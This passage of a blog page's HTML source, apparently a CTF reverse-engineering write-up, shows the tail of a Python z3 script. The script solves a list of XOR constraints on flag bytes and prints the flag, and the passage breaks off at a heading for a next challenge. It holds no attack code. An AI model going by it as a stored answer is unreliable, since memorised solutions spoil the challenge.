punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x35</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xd</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x32</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x32</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3a</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1b</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5a</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2d</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x25</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1e</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x37</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x35</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x38</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1e</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x8</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xc</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x2a</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x14</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x16</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x2f</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x4</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1e</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3a</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x18</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2f</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1b</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x22</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1b</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xd</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1c</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1b</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x7</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x30</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x38</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x9</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x14</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x10</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x29</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x34</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x8</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x77</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x32</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xf</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x59</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x18</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x17</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2d</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xb</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xe</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3a</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x52</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xe</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3a</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5b</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x36</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x9</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xb</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2f</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x8</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x31</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x29</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x2b</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3c</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x9</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x18</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2b</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5a</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x8</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x12</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1c</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1e</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x8</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1c</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x16</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x19</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x47</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x34</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x5</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x41</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x14</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x32</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xe</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x33</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x58</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x12</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2d</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x2a</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x7</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1d</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x14</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x17</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2a</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1e</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1c</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1d</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x9</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x31</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x24</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3c</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xa</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x27</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x19</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x39</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xa</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x75</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xd</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x37</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x2c</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x39</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x19</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x4</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x29</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x19</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x68</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3b</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x14</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x2f</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x17</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xe</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x4</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1a</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1b</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5e</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3a</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x5</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x46</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x10</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x25</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1e</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x39</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xe</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5b</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x19</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x11</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x4</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x6</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x28</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x43</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x28</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xd</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x6e</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x36</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1e</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x0</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x19</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xd</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x68</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x12</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3e</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xd</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xa</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x19</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x27</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x21</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3e</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x12</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x22</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3b</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x6</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x23</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x13</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x31</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x26</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3a</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x4</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x4</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x30</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x34</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x51</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3a</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xe</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5b</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2d</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x6</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x7</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x13</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x8</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x22</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x4</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x36</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3a</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x22</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x10</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xc</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xb</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x12</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x25</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3c</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x15</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x39</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2b</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x0</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xd</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x7</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x2c</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x18</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x7</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1a</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x37</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x35</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x19</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x6</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x45</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">while</span> s<span class=\"token punctuation\">.</span>check<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> sat<span class=\"token punctuation\">:</span>\n    m <span class=\"token operator\">=</span> s<span class=\"token punctuation\">.</span>model<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> flag<span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span>m<span class=\"token punctuation\">[</span>c<span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>as_long<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>end<span class=\"token operator\">=</span><span class=\"token string\">\"\"</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"\"</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">break</span></code></pre></div>\n<h2 id=\"csce221-data-structures-and-algorithmsrev\" style=\"position:relative;\"><a href=\"#csce221-data-structures-and-algorithmsrev\" aria-label=\"csce221 data structures and algorithmsrev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 